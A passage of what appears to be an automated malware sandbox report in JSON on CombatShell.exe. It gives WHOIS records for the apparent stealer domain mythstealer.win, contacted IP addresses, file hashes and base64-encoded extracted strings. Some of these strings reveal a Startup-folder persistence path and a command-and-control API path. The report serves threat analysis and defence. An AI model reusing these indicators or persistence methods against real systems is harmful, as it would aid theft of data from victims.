Inc."},{"key":"State","value":"CA"},{"key":"Status","value":"clientTransferProhibited https://icann.org/epp#clientTransferProhibited"},{"key":"Last Update","value":"2017-03-12T18:09:46"},{"key":"Zip Code","value":"94519"}],"associated_sha256s":[{"sha256":"97e476914b4a640575dcd228e8ba84fd3675e80c29e7ea86515f1c689e0f0ccd","verdict":"no verdict","positives":null,"total":null,"scan_date":"2025-06-29T01:34:36+00:00","reference":{"name":"AlienVault","url":"https://otx.alienvault.com/indicator/file/97e476914b4a640575dcd228e8ba84fd3675e80c29e7ea86515f1c689e0f0ccd/"}},{"sha256":"c3a74eaa4d8d14c031af95507d447c410764127320478e0945b2f59f74326c14","verdict":"no verdict","positives":null,"total":null,"scan_date":"2025-06-28T22:06:06+00:00","reference":{"name":"AlienVault","url":"https://otx.alienvault.com/indicator/file/c3a74eaa4d8d14c031af95507d447c410764127320478e0945b2f59f74326c14/"}},{"sha256":"d1f64d8c51438026b43cd4ca3130b67b9aacf79e48dee4d6ecb91fa88ae2ac04","verdict":"no verdict","positives":null,"total":null,"scan_date":"2025-06-27T16:30:21+00:00","reference":{"name":"AlienVault","url":"https://otx.alienvault.com/indicator/file/d1f64d8c51438026b43cd4ca3130b67b9aacf79e48dee4d6ecb91fa88ae2ac04/"}},{"sha256":"3fe0604cab405c9b0e41618f3a11f87a97cdab36aa63d90508bb7dae649890e5","verdict":"no verdict","positives":null,"total":null,"scan_date":"2025-06-26T12:56:46+00:00","reference":{"name":"AlienVault","url":"https://otx.alienvault.com/indicator/file/3fe0604cab405c9b0e41618f3a11f87a97cdab36aa63d90508bb7dae649890e5/"}},{"sha256":"2b0b328cb7b95a401a614bff8e129626a24e825f73d8cb17eb10cf476c11dc2a","verdict":"no verdict","positives":null,"total":null,"scan_date":"2025-06-26T07:44:49+00:00","reference":{"name":"AlienVault","url":"https://otx.alienvault.com/indicator/file/2b0b328cb7b95a401a614bff8e129626a24e825f73d8cb17eb10cf476c11dc2a/"}}]},{"compromised":false,"domain":"mythstealer.win","address":"172.67.182.176","ttl":300,"country":"United States","registrar_name":"NAMECHEAP INC","registrar_organization":"Privacy service provided by Withheld for Privacy ehf","registrar_name_servers":"stephane.ns.cloudflare.com","registrar_creation_date":"2025-06-21T16:30:17+00:00","who_is":[{"key":"Address","value":"REDACTED FOR PRIVACY"},{"key":"Address","value":"Kalkofnsvegur 2"},{"key":"City","value":"REDACTED FOR PRIVACY"},{"key":"City","value":"Reykjavik"},{"key":"Country","value":"IS"},{"key":"Creation Date","value":"2025-06-21T16:30:17"},{"key":"Creation Date","value":"2025-06-21T16:30:17.500000"},{"key":"DNSSEC","value":"unsigned"},{"key":"Domain Name","value":"mythstealer.win"},{"key":"EMail","value":"abuse@namecheap.com"},{"key":"EMail","value":"010e732fefee4817961557ea03d72563.protect@withheldforprivacy.com"},{"key":"Expiration Date","value":"2026-06-21T16:30:17"},{"key":"Expiration Date","value":"2026-06-21T16:30:17.500000"},{"key":"name","value":"REDACTED FOR PRIVACY"},{"key":"name","value":"Redacted for Privacy"},{"key":"Name Server","value":"nikon.ns.cloudflare.com"},{"key":"Name Server","value":"stephane.ns.cloudflare.com"},{"key":"Organization","value":"Privacy service provided by Withheld for Privacy ehf"},{"key":"Reigstrar","value":"NAMECHEAP INC"},{"key":"State","value":"Capital Region"},{"key":"Status","value":"clientTransferProhibited https://icann.org/epp#clientTransferProhibited"},{"key":"Status","value":"addPeriod https://icann.org/epp#addPeriod"},{"key":"Last Update","value":"2025-06-21T16:37:45"},{"key":"Last Update","value":"0001-01-01T00:00:00"},{"key":"Whois Server","value":"whois.namecheap.com"},{"key":"Zip Code","value":"REDACTED FOR PRIVACY"},{"key":"Zip Code","value":"101"}],"associated_sha256s":[]}],"contacted_hosts":[{"compromised":false,"address":"172.67.74.152","port":443,"protocol":"TCP","associated_runtime":[{"name":"combatshell.exe","pid":"5644"}],"country":"United States","associated_sha256s":[]},{"compromised":false,"address":"172.67.182.176","port":443,"protocol":"TCP","associated_runtime":[{"name":"combatshell.exe","pid":"5644"}],"country":"United States","associated_sha256s":[]}],"contacted_countries":{"countries":["USA"],"coordinates":[{"origin":{"latitude":"37.3394","longitude":"-121.895"},"destination":{"latitude":"37.7621","longitude":"-122.3971"}},{"origin":{"latitude":"37.3394","longitude":"-121.895"},"destination":{"latitude":"37.7621","longitude":"-122.3971"}}]},"port_infos":[{"port":443,"description":"Hypertext Transfer Protocol over TLS/SSL (HTTPS)"}],"extracted_strings":{"all":[{"value":"ISEhISFnZ2dnZ2dnZ2dnZw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"ISIjJFRbZ2t2eg==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"ISctMzk/RUtRV11jaW91ew==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"IVRoaXMgcHJvZ3JhbSBjYW5ub3QgYmUgcnVuIGluIERPUyBtb2RlLiQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiIiIiIiIiIiIiIiIiJnIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiImdnIiIi","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiIiIiIiIiJcXFxcXFxcXA==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcbWNyLmxua2si","type":"Ansi","source":"Process Commandline","process":"winlnk.exe","filename":"winlnk.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVBUFBEQVRBJVx3aW5sbmsuZXhlIiAiJTEi","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"IiYqLjI2Oj5CRkpOUlZaXmJmam5ydno=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiYqZWltcXU=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"IyMjIyMjIyMjIyMjZ2dnZ2dnZ2dnZ2dnZyNlZWVlZWVlZWVlZWVlZWVlZ2dnZ2dnZ2dnZ2dn","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"IyMjIyMjI2dnZ2dnJCQkJCQkJCQkJCQkJGckJCRnJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCRnJCQkJCQkJCQkJCQkJCQkJGdnJCQkJCRnJCQkZyQkJCRnZ2dnZ2dnJCRnJCQkZ2ckZ2ckJCQkZ2ckJCQkJCQkJCQkZ2dnZ2dnZyQkJCQkJCQkJA==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"IyszO0NTY3M=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Iys3P0dPV2Nq","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"JCQmKzdCTlJcZ254","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"JC44QkxWYGp0","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"JDZCTlpmcn4=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"JSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSVnZ2dnZ2dnZ2dnZ2dnZ1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXZ2dXV1d+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+Z2d+fn5+fn5+fn5+fn5+fn5nVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVGdnVGciIiIiIiIiIiIiImdnZ2dn","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"JiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJmdnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"JiouMjY6PkJGSk5SVlpeYg==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"JjA6RE5YYmx2","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"JjtAREhOU2Vx","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"JydnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dn","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Jy02PkllbHF1eX0=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Jy4zOkFITlRaXno=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Jy82PUZNVmBqc3o=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"KC40PEVNWGBocHc=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"KC81QUlRWWpyeQ==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"KDA4UVddc3s=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"KHhCNilcR2FtZTo=","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_1.png","compromised":null,"detection_total":null,"total":null},{"value":"KHopKHkpKHgpKHcpKHYpKHUpKHQpKHMpKHIpKHEpKHApKG8pKG4pKG0pKGwpKGspKGopKGkpKGgpKGcpKGYpKGUpKGQpKGMpKGIpKGEpMjAuMTkuMTguMTcuMTYuMTUuMTQuMTMuMTIuMTEuMTAuKDIwKSgxOSkoMTgpKDE3KSgxNikoMTUpKDE0KSgxMykoMTIpKDExKSgxMCkoOSkoOCkoNykoNikoNSkoNCkoMykoMikoMSk=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"KFopKFkpKFgpKFcpKFYpKFUpKFQpKFMpKFIpKFEpKFApKE8pKE4pKE0pKEwpKEspKEopKEkpKEgpKEcpKEYpKEUpKEQpKEMpKEIpKEEpOSw4LDcsNiw1LDQsMywyLDEsMCwwLg==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"KSkpKSkpKSkpKSkpKSkpKWdnZ2dnZ2dnZw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"KkBKXWNuc3d7","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"KkVNVV1kbHN5","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"LXBzcyAtcyA0NDAgLXAgNjQ4IC1pcCA2NDg=","type":"Ansi","source":"Process Commandline","process":"WerFault.exe","filename":"WerFault.exe","compromised":null,"detection_total":null,"total":null},{"value":"LXUgLXAgNjQ4IC1zIDEwMTI=","type":"Ansi","source":"Process Commandline","process":"WerFault.exe","filename":"WerFault.exe","compromised":null,"detection_total":null,"total":null},{"value":"LiMnKy8zNztrb3N3ew==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"L215dGgvYXBp","type":"Ansi","source":"PCAP Processing","process":null,"filename":"PCAP","compromised":null,"detection_total":null,"total":null},{"value":"MDVmOTVlZmUtN2Y3NS00OWM3LWE5OTQtNjBhNTVjYzA5NTcx","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"MDcyNjY1ZmItODk1My01YTg1LTkzMWQtZDA2YWVhYjNkMTA5","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"MEBQYHBTY3M=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"MHgwMDAwMDAwMA==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"MHgwMDAwMDAwNA==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"MWFmZjYwODktZTg2My00ZDM2LWJkZmQtMzU4MWYwNzQ0MGJl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"My44Ny45NS4xMA==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"MzAzMzZlZDQtZTMyNy00NDdjLTlkZTAtNTFiNjUyYzg2MTA4","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"MzI5ODBmMjYtYzhmNS01NzY3LTZiMjYtNjM1YjNmYTgzYzYx","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"MzMzMzMzMzNI","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"MzUzMzMyUFRFKA==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"M2JlMzE4MTItNTUyMy01MjM5LTVmYzYtNTM0ZjhlNTU4ZjQw","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"M2M0MzBiMGEtMzk3YS00ZTFkLTlhODMtOWMzODg0MDVjMDBj","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"M2M3NGFmYjktOGQ4Mi00NGUzLWI1MmMtMzY1ZGJmNDgzODJh","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"M2YzMDUyMmUtZDQ3YS00MDdjLTkwNjctMmU5MjhkMDBkNTRl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"M3hpaWl4dmlpaWl2WElJSVhWSUlJSVYx","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"NDk2YjNjMTktOWRjYS01MWE1LTE4N2MtNWM3NDY3ODVmZTRl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"NGRqbXJtZG1jd2NwcHZzc3NkbXZodnd6","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"NTA0NjY1YTItMzFmNy00YjJmLWJmMWItOTYzNTMxMmU4MDg4","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"NTA0OTQ4NDc0NjQ1NDQ0MzQyNDE0MDM5MzgzNzM2","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"NTFjNTEzOTctNDNjNC01Yzg2LTY0NWMtYWNiZDViMmUxMDM4","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"NTU1NjQ4ODNFQzI4NDg4RDZDMjQyMDQ4OEIwMTgxMzhGRDAwMDBDMDBGODU4QjAwMDAwMDhCMERBMDQ5QkMwMjg1Qzk3NDJERkZDOUU4QzU2QzA1MDA0ODgzRjgwMjc2Mzk0ODhCNDgwODQ4ODVDOTc0MDk0ODhCNTAxMDQ4RkZDQUVCNUQ0ODhCMTUwNjQ5QkMwMjMxQzk0ODM5MTBFQjNCNDg4RDBENTA0OUJDMDJFODAzRUEwMDAwODlDMUU4OEM2QzA1MDA0ODgzRjgwMjc3Qzc0ODhCMzVERjQ4QkMwMjQ4ODVGNjc0Mjg4QjBEMjQ0OUJDMDI4NUM5NzQyRUZGQzk=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"NTdhNmVkMWEtNzlmNy01MDExLWIyNDItNDc4NGU1NjIwY2Y3","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Ni8yOS8yMDI1","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_1.png","compromised":null,"detection_total":null,"total":null},{"value":"NjQuMTI0LjEyLjE2Mg==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"NjczY2Y4MDAtMjA4YS01MzI3LTNmNGItMmJlNDRhNjY2Mjdh","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"NmNhNTJhOTAtNDJhMC01ODA4LWViYmYtYTE3OWMyYTM4ZjMz","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"NzAzZmNjMTMtYjY2Zi01ODY4LWRkZDktZTJkYjdmMzgxZmZi","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"N2MyOTcwOWQtM2MwMi00N2ZiLThhMzktZDgyODc1MjJmYWRi","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ODEyN2Y2ZDQtNTlmOS00YWJmLTg5NTItM2UzYTAyMDczZDVm","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ODg4ODg4ODg4ODg4ODg4OA==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"OTk5OWc5OWdnZ2dnOTk5OWc5OTlnOTk5OTk5OTk5OTk5OTk5OWdnOTk5Z2dnZzk5OTk5OTk5OWdnZ2dnZ2c=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"OUZBWFRNVEVMU01Obw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Ojo6Ojo6Ojo6Ojo6Ojo6OmdnZw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"PDw8PDw8PDw8PDw8PDw8PGdnZ2dnZ2c8Z2dnZ2dnZ2dnZ2dnZ2c8","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"W1tbW1tbW1tbW1tbW1tbW2dnZ1tsbGxsbGxsbGxsbGxsbGxsZ2dnZ2dsVlZWVlZWVlZWVlZWVlZWVg==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"W11fXkFcQV1BXkFf","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"W19eQVxBXUFeQV8=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"W19eQVxBXkFf","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"XCQ4TDNEJChM","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"XCR4SDNUJHhM","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"XCRYTDNMJFBM","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"XDNBSEtOUVRYW19iZWg=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"XFxcXFxcXFxcXA==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"XERldmljZVxBZmRcTWlv","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"XERldmljZVxIYXJkZGlza1ZvbHVtZTNcV2luZG93c1xTeXN0ZW0zMlxjb25ob3N0LmV4ZQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"X19DX3NwZWNpZmljX2hhbmRsZXI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"X19kZXJlZ2lzdGVyX2ZyYW1l","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"X19nZXRtYWluYXJncw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"X19pbml0ZW52","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"X19pb2JfZnVuYw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"X19yZWdpc3Rlcl9mcmFtZQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"X19zZXRfYXBwX3R5cGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"X19zZXR1c2VybWF0aGVycg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"X1/Dr8K/wr3Dr8K/wr3Dr8K/wr3Dr8K/wr3Dr8K/wr3Dr8K/wr0=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"X2Ftc2dfZXhpdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"X2JlZ2ludGhyZWFkZXg=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"X2VuZHRocmVhZGV4","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"X2luaXR0ZXJt","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"X2xvY2FsdGltZTY0","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YGFiY2RlZmdoaWprbG1ubw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"QWNjZXB0U2VjdXJpdHlDb250ZXh0","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWNxdWlyZUNyZWRlbnRpYWxzSGFuZGxlQQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWNxdWlyZVNSV0xvY2tFeGNsdXNpdmU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWNxdWlyZVNSV0xvY2tTaGFyZWQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWN0aXZhdGVBc1VzZXI=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWN0aXZhdGVJbkJyb2tlckZvck1lZGl1bUlMQ29udGFpbmVy","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWN0aXZhdGVJblNoYXJlZEJyb2tlcg==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWN0aXZhdGVPbkhvc3RGbGFncw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWN0aXZhdGlvblR5cGU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWRkVmVjdG9yZWRFeGNlcHRpb25IYW5kbGVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"QWRqdXN0V2luZG93UmVjdEV4","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"QWRqdXN0V2luZG93UmVjdEV4Rm9yRHBp","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YWR2YXBpMzIuZGxs","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWdncmVzc2l2ZU1UQVRlc3Rpbmc=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YWdyZWVtZW50","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_1.png","compromised":null,"detection_total":null,"total":null},{"value":"QWxsb2NDb25zb2xl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWxsb3dEZXZlbG9wbWVudFdpdGhvdXREZXZMaWNlbnNl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWxsb3dHTFNMRXh0ZW5zaW9uRGlyZWN0aXZlTWlkU2hhZGVy","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YW5haXVvdmF1aHBhbHRkZXZoZ3B0ZWZheHRtdGVsc21ubw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"QW5vbnltb3VzQXBwQ29udGFpbmVySW1wZXJzb25hdGlvbkxldmVsQ2hlY2s=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YXBpLW1zLXdpbi1hcHBtb2RlbC1ydW50aW1lLWwxLTEtMg==","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YXBpLW1zLXdpbi1jb3JlLWZpYmVycy1sMS0xLTE=","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YXBpLW1zLXdpbi1jb3JlLWxvY2FsaXphdGlvbi1sMS0yLTE=","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YXBpLW1zLXdpbi1jb3JlLXN5bmNoLWwxLTItMA==","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YXBpLW1zLXdpbi1jb3JlLXN5bmNoLWwxLTItMC5kbGw=","type":"Unicode","source":"Runtime 